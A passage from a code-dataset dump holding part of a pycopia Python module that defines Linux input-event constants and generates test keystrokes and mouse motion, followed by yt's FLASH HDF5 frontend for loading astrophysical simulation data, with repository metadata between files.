KEY_BRIGHTNESSUP = 225 KEY_MEDIA = 226 KEY_SWITCHVIDEOMODE = 227 KEY_KBDILLUMTOGGLE = 228 KEY_KBDILLUMDOWN = 229 KEY_KBDILLUMUP = 230 KEY_SEND = 231 KEY_REPLY = 232 KEY_FORWARDMAIL = 233 KEY_SAVE = 234 KEY_DOCUMENTS = 235 KEY_BATTERY = 236 KEY_UNKNOWN = 240 BTN_MISC = 0x100 BTN_0 = 0x100 BTN_1 = 0x101 BTN_2 = 0x102 BTN_3 = 0x103 BTN_4 = 0x104 BTN_5 = 0x105 BTN_6 = 0x106 BTN_7 = 0x107 BTN_8 = 0x108 BTN_9 = 0x109 BTN_MOUSE = 0x110 BTN_LEFT = 0x110 BTN_RIGHT = 0x111 BTN_MIDDLE = 0x112 BTN_SIDE = 0x113 BTN_EXTRA = 0x114 BTN_FORWARD = 0x115 BTN_BACK = 0x116 BTN_TASK = 0x117 BTN_JOYSTICK = 0x120 BTN_TRIGGER = 0x120 BTN_THUMB = 0x121 BTN_THUMB2 = 0x122 BTN_TOP = 0x123 BTN_TOP2 = 0x124 BTN_PINKIE = 0x125 BTN_BASE = 0x126 BTN_BASE2 = 0x127 BTN_BASE3 = 0x128 BTN_BASE4 = 0x129 BTN_BASE5 = 0x12a BTN_BASE6 = 0x12b BTN_DEAD = 0x12f BTN_GAMEPAD = 0x130 BTN_A = 0x130 BTN_B = 0x131 BTN_C = 0x132 BTN_X = 0x133 BTN_Y = 0x134 BTN_Z = 0x135 BTN_TL = 0x136 BTN_TR = 0x137 BTN_TL2 = 0x138 BTN_TR2 = 0x139 BTN_SELECT = 0x13a BTN_START = 0x13b BTN_MODE = 0x13c BTN_THUMBL = 0x13d BTN_THUMBR = 0x13e BTN_DIGI = 0x140 BTN_TOOL_PEN = 0x140 BTN_TOOL_RUBBER = 0x141 BTN_TOOL_BRUSH = 0x142 BTN_TOOL_PENCIL = 0x143 BTN_TOOL_AIRBRUSH = 0x144 BTN_TOOL_FINGER = 0x145 BTN_TOOL_MOUSE = 0x146 BTN_TOOL_LENS = 0x147 BTN_TOUCH = 0x14a BTN_STYLUS = 0x14b BTN_STYLUS2 = 0x14c BTN_TOOL_DOUBLETAP = 0x14d BTN_TOOL_TRIPLETAP = 0x14e BTN_WHEEL = 0x150 BTN_GEAR_DOWN = 0x150 BTN_GEAR_UP = 0x151 KEY_OK = 0x160 KEY_SELECT = 0x161 KEY_GOTO = 0x162 KEY_CLEAR = 0x163 KEY_POWER2 = 0x164 KEY_OPTION = 0x165 KEY_INFO = 0x166 KEY_TIME = 0x167 KEY_VENDOR = 0x168 KEY_ARCHIVE = 0x169 KEY_PROGRAM = 0x16a KEY_CHANNEL = 0x16b KEY_FAVORITES = 0x16c KEY_EPG = 0x16d KEY_PVR = 0x16e KEY_MHP = 0x16f KEY_LANGUAGE = 0x170 KEY_TITLE = 0x171 KEY_SUBTITLE = 0x172 KEY_ANGLE = 0x173 KEY_ZOOM = 0x174 KEY_MODE = 0x175 KEY_KEYBOARD = 0x176 KEY_SCREEN = 0x177 KEY_PC = 0x178 KEY_TV = 0x179 KEY_TV2 = 0x17a KEY_VCR = 0x17b KEY_VCR2 = 0x17c KEY_SAT = 0x17d KEY_SAT2 = 0x17e KEY_CD = 0x17f KEY_TAPE = 0x180 KEY_RADIO = 0x181 KEY_TUNER = 0x182 KEY_PLAYER = 0x183 KEY_TEXT = 0x184 KEY_DVD = 0x185 KEY_AUX = 0x186 KEY_MP3 = 0x187 KEY_AUDIO = 0x188 KEY_VIDEO = 0x189 KEY_DIRECTORY = 0x18a KEY_LIST = 0x18b KEY_MEMO = 0x18c KEY_CALENDAR = 0x18d KEY_RED = 0x18e KEY_GREEN = 0x18f KEY_YELLOW = 0x190 KEY_BLUE = 0x191 KEY_CHANNELUP = 0x192 KEY_CHANNELDOWN = 0x193 KEY_FIRST = 0x194 KEY_LAST = 0x195 KEY_AB = 0x196 KEY_NEXT = 0x197 KEY_RESTART = 0x198 KEY_SLOW = 0x199 KEY_SHUFFLE = 0x19a KEY_BREAK = 0x19b KEY_PREVIOUS = 0x19c KEY_DIGITS = 0x19d KEY_TEEN = 0x19e KEY_TWEN = 0x19f KEY_DEL_EOL = 0x1c0 KEY_DEL_EOS = 0x1c1 KEY_INS_LINE = 0x1c2 KEY_DEL_LINE = 0x1c3 KEY_FN = 0x1d0 KEY_FN_ESC = 0x1d1 KEY_FN_F1 = 0x1d2 KEY_FN_F2 = 0x1d3 KEY_FN_F3 = 0x1d4 KEY_FN_F4 = 0x1d5 KEY_FN_F5 = 0x1d6 KEY_FN_F6 = 0x1d7 KEY_FN_F7 = 0x1d8 KEY_FN_F8 = 0x1d9 KEY_FN_F9 = 0x1da KEY_FN_F10 = 0x1db KEY_FN_F11 = 0x1dc KEY_FN_F12 = 0x1dd KEY_FN_1 = 0x1de KEY_FN_2 = 0x1df KEY_FN_D = 0x1e0 KEY_FN_E = 0x1e1 KEY_FN_F = 0x1e2 KEY_FN_S = 0x1e3 KEY_FN_B = 0x1e4 KEY_MAX = 0x1ff # * Relative axes REL_X = 0x00 REL_Y = 0x01 REL_Z = 0x02 REL_RX = 0x03 REL_RY = 0x04 REL_RZ = 0x05 REL_HWHEEL = 0x06 REL_DIAL = 0x07 REL_WHEEL = 0x08 REL_MISC = 0x09 REL_MAX = 0x0f # * Absolute axes ABS_X = 0x00 ABS_Y = 0x01 ABS_Z = 0x02 ABS_RX = 0x03 ABS_RY = 0x04 ABS_RZ = 0x05 ABS_THROTTLE = 0x06 ABS_RUDDER = 0x07 ABS_WHEEL = 0x08 ABS_GAS = 0x09 ABS_BRAKE = 0x0a ABS_HAT0X = 0x10 ABS_HAT0Y = 0x11 ABS_HAT1X = 0x12 ABS_HAT1Y = 0x13 ABS_HAT2X = 0x14 ABS_HAT2Y = 0x15 ABS_HAT3X = 0x16 ABS_HAT3Y = 0x17 ABS_PRESSURE = 0x18 ABS_DISTANCE = 0x19 ABS_TILT_X = 0x1a ABS_TILT_Y = 0x1b ABS_TOOL_WIDTH = 0x1c ABS_VOLUME = 0x20 ABS_MISC = 0x28 ABS_MAX = 0x3f # * Switch events SW_LID = 0x00 # /* set = lid shut */ SW_TABLET_MODE = 0x01 # /* set = tablet mode */ SW_HEADPHONE_INSERT = 0x02 # /* set = inserted */ SW_MAX = 0x0f # * Misc events MSC_SERIAL = 0x00 MSC_PULSELED = 0x01 MSC_GESTURE = 0x02 MSC_RAW = 0x03 MSC_SCAN = 0x04 MSC_MAX = 0x07 # * LEDs LED_NUML = 0x00 LED_CAPSL = 0x01 LED_SCROLLL = 0x02 LED_COMPOSE = 0x03 LED_KANA = 0x04 LED_SLEEP = 0x05 LED_SUSPEND = 0x06 LED_MUTE = 0x07 LED_MISC = 0x08 LED_MAIL = 0x09 LED_CHARGING = 0x0a LED_MAX = 0x0f # * Autorepeat values REP_DELAY = 0x00 REP_PERIOD = 0x01 REP_MAX = 0x01 # * Sounds SND_CLICK = 0x00 SND_BELL = 0x01 SND_TONE = 0x02 SND_MAX = 0x07 # * IDs. ID_BUS = 0 ID_VENDOR = 1 ID_PRODUCT = 2 ID_VERSION = 3 BUS_PCI = 0x01 BUS_ISAPNP = 0x02 BUS_USB = 0x03 BUS_HIL = 0x04 BUS_BLUETOOTH = 0x05 BUS_ISA = 0x10 BUS_I8042 = 0x11 BUS_XTKBD = 0x12 BUS_RS232 = 0x13 BUS_GAMEPORT = 0x14 BUS_PARPORT = 0x15 BUS_AMIGA = 0x16 BUS_ADB = 0x17 BUS_I2C = 0x18 BUS_HOST = 0x19 BUS_GSC = 0x1A # Values describing the status of an effect FF_STATUS_STOPPED = 0x00 FF_STATUS_PLAYING = 0x01 FF_STATUS_MAX = 0x01 _VALUEMAP = {} for name, value in list(globals().items()): if name.startswith("KEY_"): shortname = name[4:] _VALUEMAP[shortname] = value del name, value _LETTERS = {} for c in ascii.lowercase: val = globals()["KEY_%s" % c.upper()] _LETTERS[c] = val del c _DIGITS = {} for c in ascii.digits: val = globals()["KEY_%s" % c] _DIGITS[c] = val del c # ascii codes that result from modifiers # TODO add more ISO-8859-1 symbols _KEYMAP = { # This reflects a en_US keyboard mapping. "'": KEY_APOSTROPHE, ',': KEY_COMMA, '-': KEY_MINUS, '.': KEY_DOT, '/': KEY_SLASH, ';': KEY_SEMICOLON, '=': KEY_EQUAL, '[': KEY_LEFTBRACE, ']': KEY_RIGHTBRACE, # '\\': KEY_BACKSLASH, # handled specially, since it is an escape '`': KEY_GRAVE, '!': SHIFT | KEY_1, '"': SHIFT | KEY_APOSTROPHE, '#': SHIFT | KEY_3, '$': SHIFT | KEY_4, '%': SHIFT | KEY_5, '&': SHIFT | KEY_7, '(': SHIFT | KEY_9, ')': SHIFT | KEY_0, '*': SHIFT | KEY_8, '+': SHIFT | KEY_EQUAL, ':': SHIFT | KEY_SEMICOLON, '<': SHIFT | KEY_COMMA, '>': SHIFT | KEY_DOT, '?': SHIFT | KEY_SLASH, '@': SHIFT | KEY_2, '^': SHIFT | KEY_6, '_': SHIFT | KEY_MINUS, '{': SHIFT | KEY_LEFTBRACE, '|': SHIFT | KEY_BACKSLASH, '}': SHIFT | KEY_RIGHTBRACE, '~': SHIFT | KEY_GRAVE, '¥': SHIFT | ALT | KEY_5, '£': SHIFT | ALT | KEY_3, } class RelativeMotionGenerator(object): def __init__(self, device): self._device = device # EventDevice handler (only uses write() method). def MoveUp(self, ticks=1): self._device.write(EV_REL, REL_Y, -ticks) self._device.write(EV_SYN, 0, 0) def MoveDown(self, ticks=1): self._device.write(EV_REL, REL_Y, ticks) self._device.write(EV_SYN, 0, 0) def MoveLeft(self, ticks=1): self._device.write(EV_REL, REL_X, -ticks) self._device.write(EV_SYN, 0, 0) def MoveRight(self, ticks=1): self._device.write(EV_REL, REL_X, ticks) self._device.write(EV_SYN, 0, 0) class AbsoluteMotionGenerator(object): def __init__(self, device): self._device = device # EventDevice handler def MoveTo(self, x, y): self._device.write(EV_ABS, ABS_X, x) self._device.write(EV_ABS, ABS_Y, y) class KeyEventGenerator(object): """ASCII in, events out. Call an instance with a string.""" def __init__(self, device, keymap=_KEYMAP): self._device = device # EventDevice handler (only uses write() method). self._symbolmapping = keymap self._init(keymap) self.reset() def reset(self): self._fsm.reset() self._ctrl = 0 # %C self._shift = 0 # %S self._alt = 0 # %A self._meta = 0 # %M self._compose = 0 # %O def __call__(self, text): for c in text: self._fsm.process(c) def _init(self, keymap): keysyms = "".join(list(keymap.keys())) f = FSM(0) f.add_default_transition(self._error, 0) # key code names are in angle brackets f.add_transition_list(ascii.lowercase, 0, self._lower, 0) f.add_transition_list(ascii.uppercase, 0, self._upper, 0) f.add_transition_list(ascii.digits, 0, self._digit, 0) f.add_transition_list(keysyms, 0, self._symbols, 0) f.add_transition_list(ascii.control, 0, self._control, 0) f.add_transition(" ", 0, self._space, 0) # Any key name may use the "<NAME>" syntax (without the "KEY_") f.add_transition('<', 0, self._startkeycode, 2) f.add_transition_list(ascii.uppercase, 2, self._keyname, 2) f.add_transition('>', 2, self._keycode, 0) # slashes escape any special character. f.add_transition("\\", 0, None, 1) f.add_transition("\\", 1, self._backslash, 0) f.add_transition_list("tnrbe", 1, self._specials, 0) f.add_transition_list(keysyms, 1, self._symbols, 0) # percent signals meta transitions. f.add_transition("%", 0, None, 3) f.add_transition("%", 3, self._symbols, 0) f.add_transition_list("CcSsAaMmOo", 3, self._stickies, 0) self._fsm = f def _error(self, input_symbol, fsm): msg = 'Error: symbol: %s, state: %s' % (input_symbol, fsm.current_state) fsm.reset() raise ValueError(msg) def _startkeycode(self, c, fsm): fsm.keyname = "" def _keyname(self, c, fsm): fsm.keyname += c def _presskey(self, val): self._device.write(EV_KEY, val, 1) self._device.write(EV_KEY, val, 0) def _keycode(self, c, fsm): val = _VALUEMAP[fsm.keyname] self._presskey(val) scheduler.sleep(0.1) def _lower(self, c, fsm): val = _LETTERS[c] self._presskey(val) scheduler.sleep(0.1) def _upper(self, c, fsm): val = _LETTERS[c.lower()] self._device.write(EV_KEY, KEY_LEFTSHIFT, 1) self._presskey(val) self._device.write(EV_KEY, KEY_LEFTSHIFT, 0) scheduler.sleep(0.1) def _digit(self, c, fsm): val = _DIGITS[c] self._presskey(val) scheduler.sleep(0.1) def _backslash(self, c, fsm): self._presskey(KEY_BACKSLASH) scheduler.sleep(0.1) def _symbols(self, c, fsm): d = self._device val = self._symbolmapping[c] code = val & 0x1ff shifted = val & SHIFT alt = val & ALT meta = val & META compose = val & COMPOSE if compose: d.write(EV_KEY, KEY_COMPOSE, 1) if shifted: d.write(EV_KEY, KEY_LEFTSHIFT, 1) if alt: d.write(EV_KEY, KEY_LEFTALT, 1) if meta: d.write(EV_KEY, KEY_LEFTMETA, 1) self._presskey(code) if meta: d.write(EV_KEY, KEY_LEFTMETA, 0) if alt: d.write(EV_KEY, KEY_LEFTALT, 0) if shifted: d.write(EV_KEY, KEY_LEFTSHIFT, 0) if compose: d.write(EV_KEY, KEY_COMPOSE, 0) scheduler.sleep(0.1) def _specials(self, c, fsm): if c == "t": self._device.write(EV_KEY, KEY_TAB, 0) elif c == "n": self._device.write(EV_KEY, KEY_ENTER, 0) elif c == "r": self._device.write(EV_KEY, KEY_KPENTER, 0) elif c == "b": self._device.write(EV_KEY, KEY_BACKSPACE, 0) elif c == "e": self._device.write(EV_KEY, KEY_ESC, 0) scheduler.sleep(0.1) def _control(self, c, fsm): val = _LETTERS[chr(ord(c) | 0x60)] self._device.write(EV_KEY, KEY_LEFTCTRL, 1) self._presskey(val) self._device.write(EV_KEY, KEY_LEFTCTRL, 0) scheduler.sleep(0.1) def _space(self, c, fsm): self._presskey(KEY_SPACE) scheduler.sleep(0.1) # "sticky" modifiers. Explicitly turned on and off using a % prefix. def _stickies(self, c, fsm): if c == "S" and not self._shift: self._shift = 1 self._device.write(EV_KEY, KEY_LEFTSHIFT, 1) elif c == "s" and self._shift: self._shift = 0 self._device.write(EV_KEY, KEY_LEFTSHIFT, 0) elif c == "C" and not self._ctrl: self._ctrl = 1 self._device.write(EV_KEY, KEY_LEFTCTRL, 1) elif c == "c" and self._ctrl: self._shift = 0 self._device.write(EV_KEY, KEY_LEFTCTRL, 0) elif c == "A" and not self._alt: self._alt = 1 self._device.write(EV_KEY, KEY_LEFTALT, 1) elif c == "a" and self._alt: self._alt = 0 self._device.write(EV_KEY, KEY_LEFTALT, 0) elif c == "M" and not self._meta: self._meta = 1 self._device.write(EV_KEY, KEY_LEFTMETA, 1) elif c == "m" and self._meta: self._meta = 0 self._device.write(EV_KEY, KEY_LEFTMETA, 0) elif c == "O" and not self._compose: self._compose = 1 self._device.write(EV_KEY, KEY_COMPOSE, 1) elif c == "o" and self._compose: self._compose = 0 self._device.write(EV_KEY, KEY_COMPOSE, 0) scheduler.sleep(0.1) # run module as root like this: # python -i event.py if __name__ == "__main__": from pycopia.OS import Input class MockDevice(object): def write(self, evtype, code, value): print(("%s %s %s" % (evtype, code, value))) def close(self): pass #fo = MockDevice() fo = Input.EventDevice() fo.find(name="keyboard") g = KeyEventGenerator(fo) scheduler.sleep(2) expected = (ascii.lowercase + "\n" + ascii.uppercase + "\n" + ascii.digits + "\n" + r"""!"#$&'()*+,-./:;<=>?@[\]^_`{|}~""" + "\n" + "ab%c\tDEF\tghi%\n" ) g('sent = """') g(ascii.lowercase) g("\n") g(ascii.uppercase) g("\n") g(ascii.digits) g("\n") # You have to slash escape the "<" and \ itself. g( r"""!"#$&'()*+,-./:;\<=>?@[\\]^_`{|}~""" ) g("\n") g("ab\%c<TAB>%Sdef%s%Ci%cghi%%" ) g("\n") g('"""\n') g('sent == expected\n') fo.close()

20.897059

87

0.660153

9243936cf817ba3cd57272a64abf95c98d36356e

20,689

py

Python

yt/frontends/flash/data_structures.py

Xarthisius/yt

321643c3abff64a6f132d98d0747f3558f7552a3

[ "BSD-3-Clause-Clear" ]

null

yt/frontends/flash/data_structures.py

Xarthisius/yt

321643c3abff64a6f132d98d0747f3558f7552a3

[ "BSD-3-Clause-Clear" ]

31

2017-04-19T21:07:18.000Z

2017-04-20T01:08:43.000Z

yt/frontends/flash/data_structures.py

Xarthisius/yt

321643c3abff64a6f132d98d0747f3558f7552a3

[ "BSD-3-Clause-Clear" ]

null

import os import weakref import numpy as np from yt.data_objects.index_subobjects.grid_patch import AMRGridPatch from yt.data_objects.static_output import Dataset, ParticleFile, validate_index_order from yt.funcs import mylog, setdefaultattr from yt.geometry.grid_geometry_handler import GridIndex from yt.geometry.particle_geometry_handler import ParticleIndex from yt.utilities.file_handler import HDF5FileHandler, warn_h5py from yt.utilities.physical_ratios import cm_per_mpc from .fields import FLASHFieldInfo class FLASHGrid(AMRGridPatch): _id_offset = 1 # __slots__ = ["_level_id", "stop_index"] def __init__(self, id, index, level): AMRGridPatch.__init__(self, id, filename=index.index_filename, index=index) self.Parent = None self.Children = [] self.Level = level def __repr__(self): return "FLASHGrid_%04i (%s)" % (self.id, self.ActiveDimensions) class FLASHHierarchy(GridIndex): grid = FLASHGrid _preload_implemented = True def __init__(self, ds, dataset_type="flash_hdf5"): self.dataset_type = dataset_type self.field_indexes = {} self.dataset = weakref.proxy(ds) # for now, the index file is the dataset! self.index_filename = self.dataset.parameter_filename self.directory = os.path.dirname(self.index_filename) self._handle = ds._handle self._particle_handle = ds._particle_handle self.float_type = np.float64 GridIndex.__init__(self, ds, dataset_type) def _initialize_data_storage(self): pass def _detect_output_fields(self): self.field_list = [ ("flash", s.decode("ascii", "ignore")) for s in self._handle["/unknown names"][:].flat ] if "/particle names" in self._particle_handle: self.field_list += [ ("io", "particle_" + s[0].decode("ascii", "ignore").strip()) for s in self._particle_handle["/particle names"][:] ] def _count_grids(self): try: self.num_grids = self.dataset._find_parameter( "integer", "globalnumblocks", True ) except KeyError: try: self.num_grids = self._handle["simulation parameters"]["total blocks"][ 0 ] except KeyError: self.num_grids = self._handle["/simulation parameters"][0][0] def _parse_index(self): f = self._handle # shortcut ds = self.dataset # shortcut f_part = self._particle_handle # shortcut # Initialize to the domain left / domain right ND = self.dataset.dimensionality DLE = self.dataset.domain_left_edge DRE = self.dataset.domain_right_edge for i in range(3): self.grid_left_edge[:, i] = DLE[i] self.grid_right_edge[:, i] = DRE[i] # We only go up to ND for 2D datasets self.grid_left_edge[:, :ND] = f["/bounding box"][:, :ND, 0] self.grid_right_edge[:, :ND] = f["/bounding box"][:, :ND, 1] # Move this to the parameter file try: nxb = ds.parameters["nxb"] nyb = ds.parameters["nyb"] nzb = ds.parameters["nzb"] except KeyError: nxb, nyb, nzb = ( int(f["/simulation parameters"][f"n{ax}b"]) for ax in "xyz" ) self.grid_dimensions[:] *= (nxb, nyb, nzb) try: self.grid_particle_count[:] = f_part["/localnp"][:][:, None] except KeyError: self.grid_particle_count[:] = 0.0 self._particle_indices = np.zeros(self.num_grids + 1, dtype="int64") if self.num_grids > 1: np.add.accumulate( self.grid_particle_count.squeeze(), out=self._particle_indices[1:] ) else: self._particle_indices[1] = self.grid_particle_count.squeeze() # This will become redundant, as _prepare_grid will reset it to its # current value. Note that FLASH uses 1-based indexing for refinement # levels, but we do not, so we reduce the level by 1. self.grid_levels.flat[:] = f["/refine level"][:][:] - 1 self.grids = np.empty(self.num_grids, dtype="object") for i in range(self.num_grids): self.grids[i] = self.grid(i + 1, self, self.grid_levels[i, 0]) # This is a possibly slow and verbose fix, and should be re-examined! rdx = self.dataset.domain_width / self.dataset.domain_dimensions nlevels = self.grid_levels.max() dxs = np.ones((nlevels + 1, 3), dtype="float64") for i in range(nlevels + 1): dxs[i, :ND] = rdx[:ND] / self.dataset.refine_by ** i if ND < 3: dxs[:, ND:] = rdx[ND:] # Because we don't care about units, we're going to operate on views. gle = self.grid_left_edge.ndarray_view() gre = self.grid_right_edge.ndarray_view() geom = self.dataset.geometry if geom != "cartesian" and ND < 3: if geom == "spherical" and ND < 2: gle[:, 1] = 0.0 gre[:, 1] = np.pi gle[:, 2] = 0.0 gre[:, 2] = 2.0 * np.pi return def _populate_grid_objects(self): ii = np.argsort(self.grid_levels.flat) gid = self._handle["/gid"][:] first_ind = -(self.dataset.refine_by ** self.dataset.dimensionality) for g in self.grids[ii].flat: gi = g.id - g._id_offset # FLASH uses 1-indexed group info g.Children = [self.grids[i - 1] for i in gid[gi, first_ind:] if i > -1] for g1 in g.Children: g1.Parent = g g._prepare_grid() g._setup_dx() if self.dataset.dimensionality < 3: DD = self.dataset.domain_right_edge[2] - self.dataset.domain_left_edge[2] for g in self.grids: g.dds[2] = DD if self.dataset.dimensionality < 2: DD = self.dataset.domain_right_edge[1] - self.dataset.domain_left_edge[1] for g in self.grids: g.dds[1] = DD self.max_level = self.grid_levels.max() class FLASHDataset(Dataset): _index_class = FLASHHierarchy _field_info_class = FLASHFieldInfo _handle = None def __init__( self, filename, dataset_type="flash_hdf5", storage_filename=None, particle_filename=None, units_override=None, unit_system="cgs", default_species_fields=None, ): self.fluid_types += ("flash",) if self._handle is not None: return self._handle = HDF5FileHandler(filename) self.particle_filename = particle_filename if self.particle_filename is None: # try to guess the particle filename try: self._particle_handle = HDF5FileHandler( filename.replace("plt_cnt", "part") ) self.particle_filename = filename.replace("plt_cnt", "part") mylog.info( "Particle file found: %s", self.particle_filename.split("/")[-1] ) except OSError: self._particle_handle = self._handle else: # particle_filename is specified by user self._particle_handle = HDF5FileHandler(self.particle_filename) # Check if the particle file has the same time if self._particle_handle != self._handle: part_time = self._particle_handle.handle.get("real scalars")[0][1] plot_time = self._handle.handle.get("real scalars")[0][1] if not np.isclose(part_time, plot_time): self._particle_handle = self._handle mylog.warning( "%s and %s are not at the same time. " "This particle file will not be used.", self.particle_filename, filename, ) # These should be explicitly obtained from the file, but for now that # will wait until a reorganization of the source tree and better # generalization. self.refine_by = 2 Dataset.__init__( self, filename, dataset_type, units_override=units_override, unit_system=unit_system, default_species_fields=default_species_fields, ) self.storage_filename = storage_filename self.parameters["HydroMethod"] = "flash" # always PPM DE self.parameters["Time"] = 1.0 # default unit is 1... def _set_code_unit_attributes(self): if "unitsystem" in self.parameters: # Some versions of FLASH inject quotes in the runtime parameters # See issue #1721 us = self["unitsystem"].replace("'", "").replace('"', "").lower() if us == "cgs": b_factor = 1.0 elif us == "si": b_factor = np.sqrt(4 * np.pi / 1e7) elif us == "none": b_factor = np.sqrt(4 * np.pi) else: raise RuntimeError( "Runtime parameter unitsystem with " "value %s is unrecognized" % self["unitsystem"] ) else: b_factor = 1.0 if self.cosmological_simulation == 1: length_factor = 1.0 / (1.0 + self.current_redshift) temperature_factor = 1.0 / (1.0 + self.current_redshift) ** 2 else: length_factor = 1.0 temperature_factor = 1.0 setdefaultattr(self, "magnetic_unit", self.quan(b_factor, "gauss")) setdefaultattr(self, "length_unit", self.quan(length_factor, "cm")) setdefaultattr(self, "mass_unit", self.quan(1.0, "g")) setdefaultattr(self, "time_unit", self.quan(1.0, "s")) setdefaultattr(self, "velocity_unit", self.quan(1.0, "cm/s")) setdefaultattr(self, "temperature_unit", self.quan(temperature_factor, "K")) def set_code_units(self): super().set_code_units() def _find_parameter(self, ptype, pname, scalar=False): nn = "/{} {}".format( ptype, {False: "runtime parameters", True: "scalars"}[scalar] ) if nn not in self._handle: raise KeyError(nn) for tpname, pval in zip( self._handle[nn][:, "name"], self._handle[nn][:, "value"] ): if tpname.decode("ascii", "ignore").strip() == pname: if hasattr(pval, "decode"): pval = pval.decode("ascii", "ignore") if ptype == "string": return pval.strip() else: return pval raise KeyError(pname) def _parse_parameter_file(self): if "file format version" in self._handle: self._flash_version = int(self._handle["file format version"][:]) elif "sim info" in self._handle: self._flash_version = int( self._handle["sim info"][:]["file format version"] ) else: raise RuntimeError("Can't figure out FLASH file version.") # First we load all of the parameters hns = ["simulation parameters"] # note the ordering here is important: runtime parameters should # overwrite scalars with the same name. for ptype in ["scalars", "runtime parameters"]: for vtype in ["integer", "real", "logical", "string"]: hns.append(f"{vtype} {ptype}") if self._flash_version > 7: for hn in hns: if hn not in self._handle: continue for varname, val in zip( self._handle[hn][:, "name"], self._handle[hn][:, "value"] ): vn = varname.strip() if hn.startswith("string"): pval = val.strip() else: pval = val if vn in self.parameters and self.parameters[vn] != pval: mylog.info( "%s %s overwrites a simulation scalar of the same name", hn[:-1], vn, ) if hasattr(pval, "decode"): pval = pval.decode("ascii", "ignore") self.parameters[vn.decode("ascii", "ignore")] = pval if self._flash_version == 7: for hn in hns: if hn not in self._handle: continue if hn == "simulation parameters": zipover = ( (name, self._handle[hn][name][0]) for name in self._handle[hn].dtype.names ) else: zipover = zip( self._handle[hn][:, "name"], self._handle[hn][:, "value"] ) for varname, val in zipover: vn = varname.strip() if hasattr(vn, "decode"): vn = vn.decode("ascii", "ignore") if hn.startswith("string"): pval = val.strip() else: pval = val if vn in self.parameters and self.parameters[vn] != pval: mylog.info( "%s %s overwrites a simulation scalar of the same name", hn[:-1], vn, ) if hasattr(pval, "decode"): pval = pval.decode("ascii", "ignore") self.parameters[vn] = pval # Determine block size try: nxb = self.parameters["nxb"] nyb = self.parameters["nyb"] nzb = self.parameters["nzb"] except KeyError: nxb, nyb, nzb = ( int(self._handle["/simulation parameters"][f"n{ax}b"]) for ax in "xyz" ) # FLASH2 only! # Determine dimensionality try: dimensionality = self.parameters["dimensionality"] except KeyError: dimensionality = 3 if nzb == 1: dimensionality = 2 if nyb == 1: dimensionality = 1 if dimensionality < 3: mylog.warning("Guessing dimensionality as %s", dimensionality) self.dimensionality = dimensionality self.geometry = self.parameters["geometry"] # Determine base grid parameters if "lrefine_min" in self.parameters.keys(): # PARAMESH nblockx = self.parameters["nblockx"] nblocky = self.parameters["nblocky"] nblockz = self.parameters["nblockz"] else: # Uniform Grid nblockx = self.parameters["iprocs"] nblocky = self.parameters["jprocs"] nblockz = self.parameters["kprocs"] # In case the user wasn't careful if self.dimensionality <= 2: nblockz = 1 if self.dimensionality == 1: nblocky = 1 # Determine domain boundaries dle = np.array([self.parameters[f"{ax}min"] for ax in "xyz"]).astype("float64") dre = np.array([self.parameters[f"{ax}max"] for ax in "xyz"]).astype("float64") if self.dimensionality < 3: for d in [dimensionality] + list(range(3 - dimensionality)): if dle[d] == dre[d]: mylog.warning( "Identical domain left edge and right edges " "along dummy dimension (%i), attempting to read anyway", d, ) dre[d] = dle[d] + 1.0 if self.dimensionality < 3 and self.geometry == "cylindrical": mylog.warning("Extending theta dimension to 2PI + left edge.") dre[2] = dle[2] + 2 * np.pi elif self.dimensionality < 3 and self.geometry == "polar": mylog.warning("Extending theta dimension to 2PI + left edge.") dre[1] = dle[1] + 2 * np.pi elif self.dimensionality < 3 and self.geometry == "spherical": mylog.warning("Extending phi dimension to 2PI + left edge.") dre[2] = dle[2] + 2 * np.pi if self.dimensionality == 1 and self.geometry == "spherical": mylog.warning("Extending theta dimension to PI + left edge.") dre[1] = dle[1] + np.pi self.domain_left_edge = dle self.domain_right_edge = dre self.domain_dimensions = np.array([nblockx * nxb, nblocky * nyb, nblockz * nzb]) # Try to determine Gamma try: self.gamma = self.parameters["gamma"] except Exception: mylog.info("Cannot find Gamma") pass # Get the simulation time self.current_time = self.parameters["time"] # Determine if this is a periodic box p = [ self.parameters.get(f"{ax}l_boundary_type", None) == "periodic" for ax in "xyz" ] self._periodicity = tuple(p) # Determine cosmological parameters. try: self.parameters["usecosmology"] self.cosmological_simulation = 1 self.current_redshift = 1.0 / self.parameters["scalefactor"] - 1.0 self.omega_lambda = self.parameters["cosmologicalconstant"] self.omega_matter = self.parameters["omegamatter"] self.hubble_constant = self.parameters["hubbleconstant"] self.hubble_constant *= cm_per_mpc * 1.0e-5 * 1.0e-2 # convert to 'h' except Exception: self.current_redshift = 0.0 self.omega_lambda = 0.0 self.omega_matter = 0.0 self.hubble_constant = 0.0 self.cosmological_simulation = 0 @classmethod def _is_valid(cls, filename, *args, **kwargs): try: fileh = HDF5FileHandler(filename) if "bounding box" in fileh["/"].keys(): return True except (OSError, ImportError): pass return False @classmethod def _guess_candidates(cls, base, directories, files): candidates = [ _ for _ in files if ("_hdf5_plt_cnt_" in _) or ("_hdf5_chk_" in _) ] # Typically, Flash won't have nested outputs. return candidates, (len(candidates) == 0) def close(self): self._handle.close() class FLASHParticleFile(ParticleFile): pass class FLASHParticleDataset(FLASHDataset): _index_class = ParticleIndex filter_bbox = False _file_class = FLASHParticleFile def __init__( self, filename, dataset_type="flash_particle_hdf5", storage_filename=None, units_override=None, index_order=None, index_filename=None, unit_system="cgs", ): self.index_order = validate_index_order(index_order) self.index_filename = index_filename if self._handle is not None: return self._handle = HDF5FileHandler(filename) self.refine_by = 2 Dataset.__init__( self, filename, dataset_type, units_override=units_override, unit_system=unit_system, ) self.storage_filename = storage_filename def _parse_parameter_file(self): # Let the superclass do all the work but then # fix the domain dimensions super()._parse_parameter_file() domain_dimensions = np.zeros(3, "int32") domain_dimensions[: self.dimensionality] = 1 self.domain_dimensions = domain_dimensions self.filename_template = self.parameter_filename self.file_count = 1 @classmethod def _is_valid(cls, filename, *args, **kwargs): warn_h5py(filename) try: fileh = HDF5FileHandler(filename) if ( "bounding box" not in fileh["/"].keys() and "localnp" in fileh["/"].keys() ): return True except (OSError, ImportError): pass return False @classmethod def _guess_candidates(cls, base, directories, files): candidates = [_ for _ in files if "_hdf5_part_" in _] # Typically, Flash won't have nested outputs. return candidates, (len(candidates) == 0)

38.03125

88

0.548649

61eebe20a08fe467ba98f06fdd75ab35ae20588a

100

py

Python

src/associations/admin.py

codacy-badger/hbscorez

215e4d2617ac9be91bb9d561bbfc552349cd4781

[ "MIT" ]

12

2018-03-20T21:38:53.000Z

2021-10-31T10:00:12.000Z

src/associations/admin.py

codacy-badger/hbscorez

